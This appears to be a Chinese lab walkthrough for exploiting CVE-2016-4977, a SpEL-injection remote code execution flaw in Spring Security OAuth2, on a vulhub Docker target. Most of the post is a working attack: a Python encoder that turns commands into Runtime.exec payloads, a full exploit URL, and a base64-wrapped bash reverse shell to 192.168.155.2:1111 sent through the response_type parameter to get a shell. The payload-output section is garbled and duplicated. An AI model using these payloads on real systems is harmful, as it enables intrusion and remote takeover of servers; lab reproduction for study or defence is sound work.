Spring Security OAuth2 远程命令执行漏洞

一、搭建环境

cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

在这里插入图片描述在这里插入图片描述

二、漏洞验证

访问
http://192.168.10.171:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
用admin:admin登陆
在这里插入图片描述

出现以下报错,表示漏洞存在(response_type里面的命令执行了)
在这里插入图片描述

三、准备payload

poc.py
#!/usr/bin/env python
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch)
poc += ‘)}’
print(poc)

python3 poc.py #输入要执行的命令,会返回处理后的命令,这里输入whoami
在这里插入图片描述

取出得到的输出
T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 119 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 104 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 111 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 97 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 109 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 105 ) ) ) P a y l o a d : o a u t h / a u t h o r i z e ? r e s p o n s e t y p e = {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))} Payload:oauth/authorize?response_type= T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))Payload:oauth/authorize?responsetype={T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

四、执行payload

在这里插入图片描述

返回了进程,表示代码执行了,但这没有回显,是无回显RCE

五、变形payload

准备shell代码:bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
转成base64:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
shell:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}
Python poc.y获取输出
在这里插入图片描述

将上面的命令加入到response_type参数部分,得到变形后的url
六、Getshell
开启监听
在这里插入图片描述

执行变形后的payload得到shell
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值